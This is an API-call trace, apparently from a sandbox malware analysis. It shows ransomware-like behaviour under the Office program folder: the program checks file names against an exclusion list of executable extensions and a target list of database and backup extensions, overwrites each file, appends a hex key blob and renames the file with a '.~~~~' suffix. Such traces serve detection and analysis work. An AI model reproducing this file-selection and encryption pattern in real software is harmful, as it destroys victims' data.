	[0136.577] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25656736568) returned 1
	[0136.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbad98690, dwHighDateTime=0x1d60e1e)) 
	[0136.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0136.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0136.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0136.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4f90
	[0136.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4f90 | out: hHeap=0x300000) returned 1
	[0136.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5a98
	[0136.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.578] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0136.578] GetLastError () returned 0x0
	[0136.579] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0136.579] GetLastError () returned 0x0
	[0136.706] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffdd9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.706] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x227, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x227, lpOverlapped=0x0) returned 1
	[0136.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.706] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.706] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.707] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.707] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.707] CloseHandle (hObject=0x140) returned 1
	[0136.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0136.707] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h.~~~~")) returned 1
	[0136.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c51b0 | out: hHeap=0x300000) returned 1
	[0136.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0136.710] GetLastError () returned 0x0
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".scr") returned 0x0
	[0136.711] lstrlenW (lpString=".cmd") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".cmd") returned 0x0
	[0136.711] lstrlenW (lpString=".dll") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".dll") returned 0x0
	[0136.711] lstrlenW (lpString=".bat") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".bat") returned 0x0
	[0136.711] lstrlenW (lpString=".cpl") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".cpl") returned 0x0
	[0136.711] lstrlenW (lpString=".sys") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".sys") returned 0x0
	[0136.711] lstrlenW (lpString=".msc") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".msc") returned 0x0
	[0136.711] lstrlenW (lpString=".com") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".com") returned 0x0
	[0136.711] lstrlenW (lpString=".lnk") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".lnk") returned 0x0
	[0136.711] lstrlenW (lpString=".msp") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".msp") returned 0x0
	[0136.711] lstrlenW (lpString=".pif") returned 4
	[0136.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".pif") returned 0x0
	[0136.712] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.712] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch="msp\r\n.pif") returned 0x0
	[0136.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.737] lstrlenW (lpString=".sqb") returned 4
	[0136.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".sqb") returned 0x0
	[0136.737] lstrlenW (lpString=".ost") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".ost") returned 0x0
	[0136.738] lstrlenW (lpString=".txt") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".txt") returned 0x0
	[0136.738] lstrlenW (lpString=".mdt") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".mdt") returned 0x0
	[0136.738] lstrlenW (lpString=".BDB") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".BDB") returned 0x0
	[0136.738] lstrlenW (lpString=".eql") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".eql") returned 0x0
	[0136.738] lstrlenW (lpString=".DBF") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DBF") returned 0x0
	[0136.738] lstrlenW (lpString=".EQL") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".EQL") returned 0x0
	[0136.738] lstrlenW (lpString=".FDB") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".FDB") returned 0x0
	[0136.738] lstrlenW (lpString=".EDB") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".EDB") returned 0x0
	[0136.738] lstrlenW (lpString=".DACPAC") returned 7
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DACPAC") returned 0x0
	[0136.738] lstrlenW (lpString=".VHD") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".VHD") returned 0x0
	[0136.738] lstrlenW (lpString=".DBV") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DBV") returned 0x0
	[0136.738] lstrlenW (lpString=".dacpac") returned 7
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".dacpac") returned 0x0
	[0136.738] lstrlenW (lpString=".sdf") returned 4
	[0136.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".sdf") returned 0x0
	[0136.739] lstrlenW (lpString=".accdb") returned 6
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".accdb") returned 0x0
	[0136.739] lstrlenW (lpString=".DBX") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DBX") returned 0x0
	[0136.739] lstrlenW (lpString=".MDT") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".MDT") returned 0x0
	[0136.739] lstrlenW (lpString=".SQB") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".SQB") returned 0x0
	[0136.739] lstrlenW (lpString=".vhd") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".vhd") returned 0x0
	[0136.739] lstrlenW (lpString=".bac") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".bac") returned 0x0
	[0136.739] lstrlenW (lpString=".mdf") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".mdf") returned 0x0
	[0136.739] lstrlenW (lpString=".BAK") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".BAK") returned 0x0
	[0136.739] lstrlenW (lpString=".BAC") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".BAC") returned 0x0
	[0136.739] lstrlenW (lpString=".dbs") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".dbs") returned 0x0
	[0136.739] lstrlenW (lpString=".vhdx") returned 5
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".vhdx") returned 0x0
	[0136.739] lstrlenW (lpString=".NDF") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".NDF") returned 0x0
	[0136.739] lstrlenW (lpString=".dat") returned 4
	[0136.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".dat") returned 0x0
	[0136.740] lstrlenW (lpString=".DBS") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DBS") returned 0x0
	[0136.740] lstrlenW (lpString=".CKP") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".CKP") returned 0x0
	[0136.740] lstrlenW (lpString=".edb") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".edb") returned 0x0
	[0136.740] lstrlenW (lpString=".PST") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".PST") returned 0x0
	[0136.740] lstrlenW (lpString=".dbf") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".dbf") returned 0x0
	[0136.740] lstrlenW (lpString=".SQL") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".SQL") returned 0x0
	[0136.740] lstrlenW (lpString=".pst") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".pst") returned 0x0
	[0136.740] lstrlenW (lpString=".dbv") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".dbv") returned 0x0
	[0136.740] lstrlenW (lpString=".SDF") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".SDF") returned 0x0
	[0136.740] lstrlenW (lpString=".dtxs") returned 5
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".dtxs") returned 0x0
	[0136.740] lstrlenW (lpString=".db3") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".db3") returned 0x0
	[0136.740] lstrlenW (lpString=".OST") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".OST") returned 0x0
	[0136.740] lstrlenW (lpString=".dbx") returned 4
	[0136.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".dbx") returned 0x0
	[0136.741] lstrlenW (lpString=".DB3") returned 4
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DB3") returned 0x0
	[0136.741] lstrlenW (lpString=".DAT") returned 4
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DAT") returned 0x0
	[0136.741] lstrlenW (lpString=".VHDX") returned 5
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".VHDX") returned 0x0
	[0136.741] lstrlenW (lpString=".ndf") returned 4
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".ndf") returned 0x0
	[0136.741] lstrlenW (lpString=".DB") returned 3
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DB") returned 0x0
	[0136.741] lstrlenW (lpString=".sql") returned 4
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".sql") returned 0x0
	[0136.741] lstrlenW (lpString=".MYD") returned 4
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".MYD") returned 0x0
	[0136.741] lstrlenW (lpString=".DBT") returned 4
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DBT") returned 0x0
	[0136.741] lstrlenW (lpString=".ACCDB") returned 6
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".ACCDB") returned 0x0
	[0136.741] lstrlenW (lpString=".fdb") returned 4
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".fdb") returned 0x0
	[0136.741] lstrlenW (lpString=".bak") returned 4
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".bak") returned 0x0
	[0136.741] lstrlenW (lpString=".myd") returned 4
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".myd") returned 0x0
	[0136.741] lstrlenW (lpString=".DTXS") returned 5
	[0136.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".DTXS") returned 0x0
	[0136.741] lstrlenW (lpString=".ckp") returned 4
	[0136.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".ckp") returned 0x0
	[0136.742] lstrlenW (lpString=".dbt") returned 4
	[0136.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".dbt") returned 0x0
	[0136.742] lstrlenW (lpString=".db") returned 3
	[0136.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".db") returned 0x0
	[0136.742] lstrlenW (lpString=".TXT") returned 4
	[0136.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".TXT") returned 0x0
	[0136.742] lstrlenW (lpString=".MDF") returned 4
	[0136.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".MDF") returned 0x0
	[0136.742] lstrlenW (lpString=".bdb") returned 4
	[0136.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".bdb") returned 0x0
	[0136.742] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0136.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.743] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394860) returned 1
	[0136.744] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.744] CryptReleaseContext (hProv=0x394860, dwFlags=0x0) returned 1
	[0136.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0136.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0136.744] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25673430672) returned 1
	[0136.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbaf3b5b0, dwHighDateTime=0x1d60e1e)) 
	[0136.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0136.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0136.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0136.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4eb0
	[0136.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4eb0 | out: hHeap=0x300000) returned 1
	[0136.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0136.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.745] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0136.746] GetLastError () returned 0x0
	[0136.746] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0136.746] GetLastError () returned 0x0
	[0136.748] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffff880, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.748] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x780, lpOverlapped=0x0) returned 1
	[0136.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.749] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.749] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.749] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.749] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.749] CloseHandle (hObject=0x108) returned 1
	[0136.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0136.749] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.~~~~")) returned 1
	[0136.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb960 | out: hHeap=0x300000) returned 1
	[0136.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0136.752] GetLastError () returned 0x0
	[0136.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".scr") returned 0x0
	[0136.752] lstrlenW (lpString=".cmd") returned 4
	[0136.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".cmd") returned 0x0
	[0136.752] lstrlenW (lpString=".dll") returned 4
	[0136.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".dll") returned 0x0
	[0136.752] lstrlenW (lpString=".bat") returned 4
	[0136.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".bat") returned 0x0
	[0136.752] lstrlenW (lpString=".cpl") returned 4
	[0136.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".cpl") returned 0x0
	[0136.752] lstrlenW (lpString=".sys") returned 4
	[0136.752] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".sys") returned 0x0
	[0136.753] lstrlenW (lpString=".msc") returned 4
	[0136.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".msc") returned 0x0
	[0136.753] lstrlenW (lpString=".com") returned 4
	[0136.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL", lpSrch=".com") returned 0x0
	[0136.753] lstrlenW (lpString=".lnk") returned 4
